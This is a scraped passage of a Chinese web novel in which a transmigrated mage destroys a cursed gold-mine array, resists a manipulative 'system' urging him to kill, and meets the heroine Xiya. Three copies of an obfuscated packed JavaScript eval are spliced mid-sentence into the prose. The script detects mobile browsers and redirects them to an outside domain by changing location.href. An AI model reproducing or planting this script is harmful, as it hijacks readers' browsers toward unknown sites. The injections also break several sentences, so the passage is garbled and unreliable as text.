夜色渐深,歌登小镇却仍然灯火通明。 镶嵌着光石的路灯如一条巨蟒,将整座山从上到下、严严实实地缠绕起来。 在人群聚集的山脚,数支高举的火把汇聚成一片海洋,将矿洞前的景象照得如白昼一般透亮。 歌登面色铁青地拨开人群,向矿洞中走去。 珍贵的黄金矿洞,是歌登乃至整座小镇生存的基本。洞口处装着一扇又厚又重的石门,只有到了“生产黄金”的时候,会有以魔法石驱动的矿车拉着金子从洞中出来。 平日里,除了歌登,没有人能够进去。 可说起站在这里的镇民们、甚至努力调查真相的雪莉,他们都不知道“传送阵”的存在,更不知道为何有人与“黄金少女”一同消失了,却要他们来这里防备。从山腰到山脚,已经是无比漫长的距离了,这和大厅中发生的意外,有什么关联呢? 飞鸟扑簌翅膀的声音刷拉拉地响起来。小镇附近一直有栖息的鸟群,现在不知为何都出巢了,悉数停留在矿洞附近、大批被冻死的枯树上面,豆大的眼睛左右翻动,无声地注视着山脚下发生的一切。 此刻,雪芮正混在人群中,鬼鬼祟祟地四下张望。 他是在大厅的。歌登宴请男爵的盛会,他作为雪莉的弟弟也参加了。 在那里,他看见了蜃楼。 那个男人明明与商店内的货物一起消失了,却能全须全尾地出现在那里,已经是最大的奇迹。可更让他意想不到的是,就连那个连神祇一般的的“黄金少女”,都无比小心、虔诚地对待着他呢! 雪芮想得不多。 他只是觉得,从过去消失的人们、到他的朋友瑟恩,他已经袖手旁观得太久。 现在,他应该去帮帮那个男人的。 姐姐让他待在庄园里,雪芮却不想那样做。他知道雪莉为了拖延他的死期,抓了许多无辜的人;他不喜欢这样,却知道不若如此、死的便是他自己…… 好在这样两难的境地没有持续太久,转圜的机会已经出现。 这个魔法师纷纷沉寂、众人将魔法奉为神迹的荒唐世界,或许能够因此窥得一线光明吧。 …… 歌登唤人打开尘封的石门,沙尘扬起,站在枯枝上的鸟儿发出尖锐的啸鸣。 男人皱起眉头,他深知什么样的人才可能闯进那位留下的魔法阵里,也顾不上矿洞中那些不为人知的“秘密”了。 他回过头,呵斥跟来的民兵:“还看什么?!都跟我一起进去!谁抓到了那个男人,我给他十枚金币!” 民兵们对视一眼,连忙上前。 几人举着火把,正要进入矿洞中去,雪芮却从角落里冲出来,死死地挡在他们面前:“不行……你们不可以进去!” “雪芮?”歌登表情不耐,“雪莉,你弟弟又在发什么疯……” 雪莉连忙从人群中跑出来。她刚帮歌登收拾了大厅里的烂摊子、送走了弗洛瓦来的马坎男爵,又马不停蹄地赶到这里。那条漂亮的裙子已被土灰沾得污浊了,主人也和裙子一样,风尘仆仆的,看着很是憔悴。 她气喘吁吁地拉住雪芮的胳膊,焦急地喊:“雪芮!” 雪芮却纹丝不动,丝毫没有相让的意思:“姐姐!那个男人是好人……不能让歌登抓走他!” 雪莉着急起来。她当然知道蜃楼是为调查“黄金少女”而来的,但马坎男爵下了最后通牒,现在的歌登已经穷途陌路。比起魔法师,她更担心自己的弟弟—— 如果惹怒歌登,他恐怕今晚就会死在这里! “雪芮,听姐姐的话,你先回去。”雪莉劝他,“这里的事交给我。你身体不好,需要休息……” “我不要!”雪芮推开她,生气地说,“姐姐,你到底还要帮他到什么时候?爸爸就是被他杀死的!如果没有这个人,我们家也不会……” 他话说至一半,忽然开始剧烈地咳嗽起来。歌登冷哼一声,不想再与这个病鬼纠缠下去,一脚便将羸弱的雪芮踢到了一边,径自走进了漆黑的矿洞里。 雪莉连忙上去扶他。 她轻拍着雪芮的后背,心中反复咀嚼着他的话,掀起惊涛骇浪来。 雪芮为什么那样说?爸爸难道不是病死的吗? 可是仔细一想,自她收到信回到小镇之后,几乎全心都投入在寻找妹妹、调查黄金少女这两件事中了。她从没有怀疑过怀恩男爵的死因、也没人告诉过她其中的蹊跷,自然也不曾开展调查…… “雪芮!”她看了一眼远去的歌登,倏忽捏住雪芮的肩膀,低声说道,“你刚才说,爸爸是怎么死的?他不是病死的吗?我收到的信上还有一股浓浓的药草味……” 雪芮平缓下来,抬起眼睛看向他的姐姐,蓝色的瞳仁中流露出陌生的情绪。 “病死,信?”他重复了一遍,忽然明白过什么来,神情恍惚,“原来你是这么想的吗,姐姐?” “爸爸他根本没有生病!” “是歌登告诉他雪柔在矿洞底下,他去了一趟,从那里回来之后,当晚就死了。哪里还来得及写信给你啊?” 雪莉吃惊地瞪大眼睛,不敢置信地松开手,望向矿洞外:“可是,大家都说他是……” 乌泱泱的镇民们在外面站成一群,其中早已没有那些闯入庄园、烧杀抢掠的人了。只有小时候送过她果脯的婆婆、一起吃过糖果的玩伴、爱喝葡萄酒的大叔;此时,他们背着光站在那里,看不清表情,却无端地让人觉得心寒。 雪芮笑了笑,轻声重复了一遍:“大家?” 雪莉攥紧手指,如坠冰窟。 站在这里的人们,大多受过怀恩男爵的恩惠。 可是,他们竟然就这样,轻飘飘地向她揭过这件事吗? 漆黑的云层中闪过一道惊雷。雪莉心乱如麻,仅存的那份“明哲保身”的理性已经烟消云散。她收回视线,手指绞住长裙,目光落在附近东倒西歪的枯树林上—— 这几年的冬天格外干冷,矿洞附近的树林都已经枯败得差不多了。歌登没有派人清理这些死树,但这反而让她产生了作乱的灵感。 “雪芮。”雪莉摸了摸雪芮的脸颊,轻声说道,“我们去帮那位大人吧。” * 另一边的人群中,窃窃私语的交谈声不绝于耳。 不论是自愿或被强迫,这里的镇民,无一不享受过“黄金少女”的恩泽。此时见歌登脸色大变、连夜召人看守的样子,纷纷担忧起来。 当然,他们担心的并非歌登、更不可能是“黄金少女”,只是这矿洞中的黄金而已。 “瞧老歌登这样子,黄金不会是被人偷走了吧?明天就是出产的日子了,我这个月的金币还在里面呢……” “嗐,可别说了。老子今天累死累活抓了两个人来,按理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795161|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说该分两块金呢!这下也不知道有没有戏了。” “要我说是早该换个话事人了!歌登这傲慢的性子,出问题不是早晚的吗?还不如雪莉小姐呢,黄金少女也只听她的应召……” “你们在说什么呀,金矿也能被偷走吗?” 一个女孩的声音冷不丁地响起来。在草丛交谈的两个镇民循声望去,却见一个黑发黑瞳的少女站在他们身后,披着暗红色的绒布,肩上则停了只白色的鹦鹉,正不解地看着他们。 “你谁啊?”有人不耐烦地驱赶她,“哪来的小孩凑热闹。一边凉快去。” 希娅微微偏头,漆黑的眼睛里映出火把明亮的颜色。她抬起眼睛,目光在阴云聚集的天空上停留了一阵,然后又收回来,做出遗憾的姿态,轻声说了句“好吧”,接着转过身去——下一秒,那把园艺剪刀从她宽大的斗篷里飞了出来。“邦、邦”两声,敲晕了两位说闲话的镇民。 希娅拿过他们手中的火把,又将昏死过去的二人踢进草丛里,一切在静谧中发生,并没有人觉察到这里的异样。熟练地做完这一切,她站起身拍拍手掌,忽然发现树下有个金发碧眼的女人正吃惊地看着她,身后跟着一个白发的少年。 希娅一扬眉尾,园艺剪刀蓄势待发,雪莉却率先开口,举起手轻声说道:“我们没有敌意。只是小姐,你手里的火把,能不能借我一用呢?” 希娅敲晕了两个人,抢来两支火把。于她而言,确实绰绰有余。 “好啊。”她爽快地答应,将火把扔了过去,笑眯眯地说,“要不要再借你点风呢?” 雪莉接住火把,却愣住了:“你、你怎么知道……” “我什么都不知道。”希娅说着,摸了摸她肩上的鹦鹉,“但是,我也想进那个矿洞里面。人太多的话,有点麻烦呢。” 雪芮躲在雪莉身后,在看清希娅肩上的鹦鹉之后,伸手扯了扯她的衣角。 “姐姐。”他小声地说,“那是菲特先生养的鹦鹉……那个女孩、菲特先生和那个男人,他们应该是一起的!可以相信她!” 雪莉顿了一下,登时心领神会。 于是,数分钟后。 月黑风高之下,一场大火悄然席卷了枯败的树林。当看守的镇民们觉察的时候,火情已经到了无法控制的地步。人们惊呼着撤离,只剩下一些还惦记着洞中黄金的,不知从哪儿翻出来生了锈的铁铲,焦急地挖起隔离带来,生怕火势影响到矿洞的情况。 熊熊火光在外,希娅怀中抱着鹦鹉,悄然踏入了矿洞内部。 “小瑟恩,是吧?”她摸了摸鹦鹉的脑袋,轻声说道,“马上就到了,害你变成这样的坏人就在里面哦。” 她抬起眼睛,漆黑的眼中闪过异样的流光。 在“魔力观测”的状态下,希娅可以看见空气中流动的魔力气息。越是接近矿洞深处,那金色的云雾便愈发浓稠,与盘踞在鹦鹉体内的力量同出一源,那是令她十分熟悉的力量。 更有趣的是,自希娅醒来时便凝聚在她无名指上的、那股由古怪的微光交织而成的细线,现在也指引着她深入这座矿洞里呢。 希娅被传送阵送到小镇的商店里,又一路循着指尖的微光而来,现在,她也要接近自己迫切的答案了。 在这魔力的浓雾尽头,指尖细线缠绕的归处,会是什么在等待着她呢? 少女的心脏怦怦跳动起来。 22. 第 22 章 金池底部,蜃楼此刻正盘算着毁坏魔法阵的方法。 “你……真的准备好了吗?”系统忽然开口,声音有些迟疑,“这些液体是由‘黄金少女’收取的祭品转化而来的魔力。就算破坏了魔法阵,也不能逆转这个过程。那些消失的人是不会回来的,而且……” “而且什么?”蜃楼伸手触上法阵,毫不留情地点破它,“你不就是想看到这一幕吗?” 这些悬浮在空中的魔法阵,是由某种特殊的液体绘制而成的。蜃楼不太清楚那是什么东西,只是触碰的话,并不会打散它的形状;他现在正在考虑用魔法摧毁它们。 系统顿了一下,吞吞吐吐地说:“而、而且……失去魔法阵的禁锢,这些魔力会回到那位魔法师的身体里去的。突然间承担这么强大的魔力,会发生什么尚且未知,说不定……” “会做出这种事的也不是什么好人。”蜃楼嘲讽地说,“死了,难道不是一件好事?” 系统倒抽一口气,不说话了。 蜃楼没再搭理它。自他穿越以来,身边最可疑的就是这个自称系统的家伙。它一边催眠他这世界只是个“游戏”、煽动他出手杀人;一边指引他来到这里,干起了所谓“拯救世界”的大好事。论表现,它既矛盾又浮夸,比起定义更接近ai的“系统”,其实更像是个心怀鬼胎的真人…… 越接近歌登镇的真相,蜃楼便越发清晰地认知到这一点: “系统”让他成为蜃楼,绝不只是为了拯救希娅;或更极端地说,救希娅,只是一件顺带的事情。可是,它的真实目的……到底是什么? 蜃楼想不明白。 唯有这些近在眼前的魔法阵,暗示着他现在唯一能够做到的事情。 蜃楼看着它们,口中飞快地念起咒语。尽管他现在身处于金池之中,但吟唱的咒语本身饱含魔力,极少会因为传播介质受到影响。无数透明的冰锥在魔法阵上方凝结成形,在他落下收尾的音节之后,便如同下雨一般扑簌簌地落了下去。 盘踞在空中的魔法阵就这样被掉落的冰锥搅乱、消散在金黄色的液体之中。 对于蜃楼而言,这是一件轻而易举的事情。 然而他看着消失的魔法阵,心中却依然沉甸甸的,像是栓了块石头。法阵消散,被囚禁于中心的少女灵魂自然也能得到安息,那些生长在她身上的藤蔓迅速地枯萎衰败了;随后,少女灵魂睁开眼睛,目光茫然地扫视了一番周围,最后停在蜃楼身上,露出诧异的神色。 下一秒,她在惊恐之中彻底消失了。 “在这里,逝去之人的灵魂会进入‘净土’。”系统说,“那是个没有战争、没有魔法的安宁世界。灵魂们在那里度过一段时间,就可以获得重生的机会,也叫做‘投胎转世’。” 蜃楼心不在焉地“嗯”了一声。 他没有立刻回到岸上,只是抬头望向池水遥远的、起伏的液面。 宁静到此为止,波涛翻滚起来。这池如血液一般纯粹的魔力凝液,在失去魔法的限制之后躁动不安,不受控制地涌向了同一个地方—— 他的身体。 这也许该是令人意外的,可结合之前种种异常,又成为情理之中的结果了。蜃楼站在原地,看着源源不断的池水涌进他的身体,就像江河决堤、海水倒灌,一瞬让他生出自己或许会死在这里的错觉来。 与此同时,蜃楼开始产生“不堪重负”的感觉。仿佛有千斤重的力量压在胸口、无数枚尖锐的细针混在血液之中涌动,让他呼吸困难、痛苦不堪,一度喘不过气来。 系统在他耳边断断续续地指引:“深呼吸……大人,深呼吸!去引导这些魔力缓慢地进入身体,不要被它的节奏占据了!魔法师的魔力不只是力量,其性质是与魔法师本人息息相关的——蜃楼的魔力饱含他的思想,你要驯服它们,不要被它们控制!” 又是到了这种关头,才告诉他这样重要的信息…… 蜃楼烦躁地想道,却只能按照系统的指引,努力让自己平复下来。他闭上眼睛,不再去想邪恶的蜃楼、欺瞒他的系统和这个让人不快的世界,而是翻出“钟灵”的记忆,如数家珍般地回忆起来:她考上梦寐以求的美院的时候、在西湖边替阿姨们画像被夸赞的时候、和同学们一起参加画展的时候…… 这本该是十分美好的记忆,可现在的蜃楼回想起来,竟觉得它们虚幻又遥远。 那个手握画笔的女孩是谁?她身边为什么有那样多的人拥护?既没有力量、又没有财富的钟灵,怎么会过得那样幸福,怎么能过得那样幸福?连蜃楼这样强大的大魔法师尚且孑然一身,她又怎么配交到朋友、收获真心啊? 回忆如细沙一般从指隙溜走,愤怒与烦躁再一次占据蜃楼的身体。容姿昳丽的大魔法师睁开眼睛,金色的瞳仁中闪过暴戾的颜色,被剪短的白发竟如同植物发芽一般以肉眼可见的速度生长起来。池面波涛不减反盛,已经形成一个巨大的漩涡,向他奔涌而去;与此同时,蜃楼脚下的土壤发出“咔咔”的响声,在魔力的影响下开始移位…… 片刻后,歌登带着一群民兵,终于赶到矿洞尽头。 然而此时,“黄金少女”所栖息的金色水池,已经彻底消失不见了。 他终究还是来晚了一步。 由谎言编织而成的黄金泡沫破裂崩散,比起思考该如何面对镇民、或是如何向马坎男爵与“那位大人”交代这种事情,歌登率先采取的行动是宣泄他的情绪。 他唾骂了一声,将手中的火把扔到地上。身后的民兵面面相觑,他们不清楚究竟发生了什么,只知道自己没在矿洞内看到金矿;而歌登之前许诺他们的报答,或许也该打个问号…… 火把掉到地上,几串火星掉出来,跳到矿洞的角落,照出一团灰白色的什么东西。歌登定睛一看,发现那竟是个蜷缩的男人——再加上这身破败不堪的灰白色斗篷,显然正是大厅中与“黄金少女”一同消失的神秘男子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803734|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无处宣泄的愤怒一下找到出口,他涨红了脸,差使那些民兵:“都傻站着干什么?去把那个男人抓起来!” 民兵们连忙上前,举着火把接近角落里可疑的男人。 这矿洞里的气氛实在诡异。歌登大约是被愤怒冲昏了头脑,没能发现什么;可在这些民兵的眼中,他们越接近角落,眼前的空气便越发“粘滞”——他们看见角落里这个男人的身周,漂浮着海市蜃楼一般扭曲的幻影;而男人双手抱膝,将头埋入膝中,仅露出那一截苍白的手腕,正以不自然的频率抽动,让观者本能地感到胆寒。 “喂、你……”有人鼓起勇气,颤着声开口发问,“你到底是谁?怎么进来的?” 男人没有回应他们。 歌登站在民兵们身后,耐心已然见底:“还说什么废话?直接把人抓起来啊!” 民兵们对视一眼,有个胆大的站了出来,伸出脚朝男人踹去;然而下一秒,空气中一道金光闪过,那民兵的腿竟以一个诡异的角度弯折起来。 民兵痛呼一声,抱着受伤的大腿连连后退,目中满是恐惧的颜色:“这、这!这个人不对劲!” 歌登看到他扭曲的大腿,眸中闪过一丝惊诧。但要他在此处服软更是不可能的,毕竟“那位大人”说过,所有试图破坏“黄金少女”的人,都会受到诅咒,全身溃烂、当晚暴毙。就像当年的怀恩男爵——这个男人也是如此,现在不过是强弩之末罢了! 民兵们惜命,不敢再上前了。只有歌登用污秽的语言唾骂着他们的胆怯,从其中一人手中夺过一把长刀,大步走到男人身前。 “不知死活的东西,给我搞出这样的乱子。”歌登低声咒骂着,举起那把长刀,“就用你的人头送给‘那位大人’,作为赔礼……” 寒光一闪,那把刀却没能斩下那个男人的头颅,而是拐了个弯,扎进歌登自己的肩胛骨里。 歌登瞪大眼睛,握着刀柄的手指颤抖起来,面上终于出现恐惧的神色。就在此时,角落那个一直埋着头、沉默不语的男人,也终于将他的头抬起来了。 随着他的动作,盖在头顶的兜帽滑落下来,显露出那头惹眼的纯白色长发。年轻的男人抬起头,目光却没有焦距,金色的眼瞳中只余一片彻骨的冰寒;另有黄金般闪耀的液体从他眼眶内源源不断地流落、混杂着黑色的染剂,自苍白的双颊绵延到下颌,恍如神祇之血泪,将那张雌雄莫辨的脸衬得诡谲恐怖起来。 俨然是狰狞而美丽着的, 如同地狱归来的恶鬼啊—— “能麻烦你们离我远一点吗?”恶鬼停顿一下,礼貌地说,“我无意伤害你们,但是控制不住自己……” 他正在那滔天的愤怒与怨恨中,努力地保持着冷静呢。 而歌登在看清他的面孔之后,脸色霎时变得惨白。顾不得肩上的伤口,男人立刻跪坐下来,以极其卑微的姿态匍匐在地上,怯懦地抬起头仰视他:“大人!?怎、怎么是您……” 23. 第 23 章 蜃楼现在心情很差,有两点原因。 其中一个、也就是最主要的,是来自于原主魔力的影响。那股暴戾而狂躁的力量,仅凭“钟灵”,维持住表面的平静已经是他的极限。 第二点是,他结合这些天来发生的一切,终于在这个漆黑的矿洞里找到了自己想要的答案—— 他在狗系统眼里,究竟算是什么样的存在。 蜃楼曾经差一点就相信了系统的说辞:他是个来拯救希娅、魔改合家欢结局的剧情推动者;或以小说的标准衡量,也可以算成主角之一……但事实并非如此。 被魔力贯穿的痛苦,是“钟灵”从六楼坠下的千万倍还要多。那是一种无比清晰的、尖锐的疼痛,宛若万箭穿心,无处可避、无人能解,还会将一瞬放慢到三秋那样漫长。 遑论他离爆体而亡只有一步之遥。 这一切,还要拜系统的刻意隐瞒所赐。 或许,他对它而言,只是一种耗材呢。 更糟糕的是,想要回到原来的世界,还是得指望它…… 蜃楼想到这一点,又觉得无比烦躁。 “黄金少女”又不是他创造的,凭什么让他背负原来“蜃楼”的罪名、承受魔力回归的痛苦?虽说他的确享受到了这具身躯的便利,可是,在这一切的开始——系统与“钟灵”进行的,原本就是隐瞒事实、强买强卖的交易啊! 他心乱如麻,偏偏系统这时还在他耳边出声:“钟灵、钟灵?你没事吧?” 蜃楼没有回应它。 “唉……对不起嘛。”系统说着,声音里却并不能听出多少歉意,“‘黄金少女’的力量,如果合理利用,哪至于把镇子变成这样?你承担魔力反噬已经很不容易了,至于始作俑者,更应该受到惩罚啊!” 它顿了一下,又循循善诱地说:“我的大人唷。如果没有跋扈的歌登,哪来这么多魔力?是不是?你怎么会至于这么难受呀,明明都是他的错啊……” 彼时,那些民兵在目睹歌登下跪之后,不约而同地丢下武器逃跑了。 用金钱搭建起来的关系就是这样脆弱不堪,这里没有一个人发自真心地为歌登做事。也亏他平日跋扈言行,现在就算真的死在这里,对大多人而言,只会成为一件“大快人心”的好事。 “大、大人……是我有眼不识泰山,没认出您……”歌登跪在地上,颤抖着声音开口,“您、您大人有大量!放过我这一次,我还能拿黄金给您花!您要多少都行啊!” 哦,蜃楼在疼痛中抽出时间思考,所以本尊拿去挥霍的钱,是这么来的啊。 “啧啧……”系统咋舌,这时又跟他同仇敌忾起来了,“真是个恃强凌弱的小人。我们干脆替天行道,杀掉他吧?” 蜃楼是不愿搭理它的,可心中那股难言的怨火,正在迫切地寻找出路——“钟灵”无时无刻不在承受那被大量魔力冲击、直击灵魂的痛苦,她已经接近强弩之末,就要压制不住蜃楼的力量了。 系统接着说道:“大人,我知道你是个善良的人。可眼前这位是个不折不扣的罪犯啊,他害死那么多人,如今又跟那个马坎男爵有所来往……你现在不杀死他,只会埋下祸患的种子!要知道倘若你不是‘蜃楼’,早就被他害死在这个地方了。” 哦,说得也对啊。 在系统引诱的声音之下,蜃楼昏昏沉沉地想道。 此时,暴虐的力量已经完全支配他的身体。蜃楼看着眼前不断向他求饶的歌登,几乎按捺不住眼底的杀意。他伸出手,苍白的手指上满是粘稠的金色液体,就那样鬼魅一般缠上歌登的脖子。 多好啊,这具身体。 只要他想,杀死一个人替天行道,不过碾死一只蚂蚁。 歌登瞪大眼睛,面色很快涨得通红。他试图张口,音节却破碎在拥堵的气管里,只能眼睁睁看着蜃楼掐着他的脖颈,缓慢地站起身来。 窒息的痛苦海潮般席卷而来。歌登挥动双手、试图挣扎,却不能让蜃楼受到半点阻碍。他依旧稳稳地掐着歌登,将他整个人如提起一条丝带一样从容地拎了起来——带着并不将他的性命放在眼里的、残酷而冰冷的杀意。 “咳、咳咳……大、大人……我还有用……” 歌登费力地呼吸,试图在蜃楼的禁锢下获取空气,以言语挣得一丝求生的转机。可直到他的脸由红到紫,最后隐隐发黑,蜃楼都没有半点松手的迹象。 是啊!与虎谋皮,他早该想到有这一天的…… 歌登不甘心地想道。然而,不知是否为濒死前的幻觉,他忽然感觉到脖颈上的力量一松,又有大量的空气涌进他的肺叶里了——这一切几乎发生在瞬息之间,当他再度回过神来的时候,自己已经失去禁锢、跌坐在地面上了。 脖颈传来的痛觉无比明晰,却反而让他觉得庆幸。 他还活着! 另一边,蜃楼回过神来,茫然地伸手触摸自己的脖颈。 一股古怪的、牵扯的力量从颈上传来,竟然生生将他从万劫不复的痛苦中拖拽了出来。“钟灵”迅速振作,再度接过身体的控制权,又想起什么,立即开启“魔力观测”的状态,低头望去。 在蜃楼的脖颈之间,漆黑的项圈正安静地挂在上面。连接着项圈的微光频繁地闪烁,似乎有什么事即将发生—— 恰于此刻,有人举着火把,从矿洞的另一边缓缓地走进来。 希娅披着暗红色的斗篷,迈着轻快的脚步在他面前停下。她的肩上停着那只聒噪的鹦鹉,一位公主与一只会说话的小动物,这是童话故事的标准配置。可惜这个世界并非童话,希娅也不是受尽宠爱的公主,只是个被折磨多年的女孩罢了。 火光照亮她的脸庞,少女安静地看着他。眼中没有惧怕、也全无蜃楼料想的愤恨或是厌恶的情绪,只有一片漆黑的深渊。 她盯着他看了一会儿,伸出手怜悯地擦了擦他的脸颊。 那里还沾着融化的染剂和魔力凝成的液体,金色与黑色混杂在一起,即便蜃楼看不见自己的模样,也能料想到他现在大约十分狼狈,并不是适合与女主角希娅见面的时机。 “蜃楼?”希娅缓缓张口,她的声音原来是如夜莺一般清脆动听的,“你现在,好像一只摔进泥塘里的小狗哦。” 蜃楼看着她,默不作声地后退了一步。 确切地说,他是在盯着希娅右手无名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818050|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指上的黑色指环看。他的项圈被连接到那里,而这怎么看都不会是什么有情人眷属的证明…… 那股拉扯的力量,是从这个东西上散发出来的吗? 希娅注意到他的视线,配合地将右手抬了起来。 她的身体已经恢复一些血色了,手指关节处透着健康的粉色,也因此让那枚黑色的戒指变得更加显眼。尽管她的态度友善得接近诡异,可蜃楼实在无心纠结这些,只是诧异地看着她抬起右手,然后轻飘飘地向后一挥—— 牵扯的力量再次传来。 这一次,蜃楼喉间一紧,不受控制地向希娅倒去。 鹦鹉识趣地飞走,停在一旁的岩石上,歪头看着他们。而希娅没有避开他,反而用她娇小的身体揽住这个高大而苍白的男人,像安抚一只受伤的小狗那样,轻轻地拍了拍他的后背。 蜃楼没料想到他会迎来这样的发展。 希娅站起来,原来才到他的胸口。现在,他要保持着俯身的动作,下巴才恰好足够贴到她的肩上。她太瘦了,肩上的骨头有点硌人,可蜃楼不知在想些什么,停顿了一下,竟没能及时挣开她。 他眼中有些迷惘,不明所以地开口:“你……?” “我怎么了?”希娅关心地问。 蜃楼的目光飘向地面,犹豫了一会儿,还是问道:“你怎么没穿鞋就出来了……不疼吗?” 希娅停顿一下,忽然笑了。 与此同时,她遮掩在披风下的园艺剪刀“当啷”一声掉了出来,尖锐的顶端恰好朝向蜃楼的方向。蜃楼察觉到响声,下意识低头去看,却被希娅掰过脑袋,半强迫地将目光定格在她火光下明灭的脸上。 “是啊,好疼的。”她放轻了声音,可怜地说,“实在走不动了。你可以带我回去休息吗?” 蜃楼被她哄得一愣一愣的,伸手去扯自己的披风,才想起最后一张传送阵已经被米迪用去了。他动作停顿,露出有些懊悔的表情:“对不起,我……” “你不用道歉呀。”希娅轻快地开口打断他,“蜃楼的力气很大,一只手就可以把我拎起来抓走了。” 蜃楼怔住,一时竟不知道她是在讽刺,还是真心希望他一只手把她拎起来的。 说到这个,刚才他倒是一只手拎起了歌登……想到这里,蜃楼呼吸一滞,侧目去确认歌登的情况。只见歌登跪坐在原地,面色涨红,正止不住地咳嗽着。人是显然没缓过劲来,但好歹还活着,没被他失手杀死。 这让蜃楼松了一口气。 他无心杀死任何人,即便这个世界有时草菅人命。他是要回到现实去的,这种事怎么也不该有第一次。至于该怎么处置歌登,蜃楼暂时拿不定主意。 眼见女主角希娅在这里,鉴于她是未来的女皇,他尝试寻求她的意见:“希娅。你觉得谋害人命的坏人,应该怎么处理最好?” 希娅看着他,笑吟吟地说:“当然是吊在市场前,当众剥掉他的皮肉、拆出他的骨头。然后将肉炖进热汤里放给灾民,骨扔给街上流浪的小狗吃,物尽其用啦。” 蜃楼:…… 不知道为什么,他现在明明披着斗篷,却感觉背后凉嗖嗖的。 24. 第 24 章 在蜃楼身处矿洞的这段时间里,外界也发生了许多事情。 山脚下的枯树林忽然着火,鸟群飞入附近的村庄,以喙猛敲村人的窗户,惊起许多已经入睡的村民。人们注意到山脚下的火光,连忙带着木桶、水袋,自发地救起火来。这些村民不受“黄金少女”的庇护,靠山吃山,是不会眼睁睁看着大火烧到山上的。 从矿洞中逃脱的民兵将洞中没有黄金的消息散播了出去。那几个剩余的、留守在矿洞前的镇民听闻了,立即扔下铲子愤恨地离去。一片混乱之中,带着菲特、米迪出来寻找希娅的季诺,阴差阳错地与米迪的父母打了个照面。 夜色已深,米迪却迟迟未归。他的父母十分担心,上山寻找无果,听闻山脚着火,赶到火场一看,被火光吸引来的季诺一行人也刚好在那里呢。 季诺将米迪还给他们,一回头,便撞上正背着希娅从矿洞中走出的蜃楼—— 他吃了一惊。 比起希娅,蜃楼现在更像一个病号……不对,用病号来形容也小巫见大巫了,他看起来就像是刚从棺材里爬出来的。这才过去多久,怎么就把自己弄成这副样子呢? 总之,在季诺的帮助下,几人姑且先回了歌登镇歇脚。至于歌登,则被五花大绑起来,让雪莉关到那间原本关押过蜃楼的石室里去了。 金矿的谎言被揭穿,歌登在小镇的地位一夜之间从天上掉到地下。他本人似乎被蜃楼那副人不人鬼不鬼的样子吓得不轻,自矿洞回来之后,一直保持着谵妄的状态。口中喃喃自语地说着些什么“我还有用”、“不要丢下我”之类的话,对外界的刺激也毫无反应。蜃楼本想从他那里了解些关于马坎男爵的事,见他这样,只能作罢了。 当晚,蜃楼又被季诺拉去,借了小镇的酒馆,从上到下、好好地洗了个热水澡。此时,蜃楼的眼眶里已经不再向外流淌金色的凝液了;在确认过他的身体没出问题之后,季诺才放心地让他回房休息…… 此时,窗外已经响起稀稀拉拉的鸟鸣声了。 歌登镇的事告一段落,蜃楼躺在床上,翻来覆去却睡不着。 这样算是HappyEnding吗? 他只是破坏了魔法阵。消失的人没能回来,商店老板的儿子也……据希娅说,他儿子的灵魂如今被禁锢在那只鹦鹉的身体里了;即便用蜃楼的力量解放出来,也会因为找不到匹配的身体,与那些死者一样进入“净土”。 他似乎改变了什么,又好像什么都没改变。 雪莉不知道这些魔法阵就是蜃楼留下的,只感激地说他“拯救了这座小镇”。她很高兴,邀请他和希娅、季诺一起参加次日的“再塑节”宴会——这一次没有歌登、也没有“黄金少女”,只是单纯地庆祝小镇的新生。而蜃楼从山脚回到小镇的过程中,路遇的镇民们神色各异、有悲有喜,似乎对一部分人来说,黄金少女的消亡并不是一件好事。 至于系统……自从希娅出现之后它就没声了。蜃楼暂不想主动找它说话,现在也就是躺在酒馆的房间里,听着壁炉噼啪燃烧的声音,闭着眼睛放空。 他的确是有点累了,但睡不着。仔细一想,穿来之后好像也没睡过觉……蜃楼的身体似乎是与常人不一样,不需要正常的睡眠,这让他有点不太适应。夜晚的时间太过漫长,一旦松弛下来,不知道自己该做些什么。 好在,很快就有事情找上门让他忙了。 房门被无声地打开,地上的毛毯发出窸窸窣窣的声音。在这样夜深人静的时机,有人静悄悄地走进来,手中似乎端了什么,放到床边的矮柜上,发出细微的响声。 蜃楼不太喜欢被人打扰,睁开眼睛正想说些什么,却在看见进来的竟然是女主角希娅之后,即刻闭上嘴了。 “……哎呀。”希娅坐在床边,手里拿着一把铮亮的水果刀,失落地看着他,“那是什么表情,不欢迎我吗?” 蜃楼坐起身,从善如流地挽回道:“没有啊,我很欢迎。” 倒不如说,他恰好也有个问题,只有希娅能够解答。 希娅抿起嘴唇,从矮柜的锡盘上拿了一颗苹果,垂目削起了皮。在蜃楼还在思考该如何开口的时候,她伸出手,将已经削好的苹果递给他。 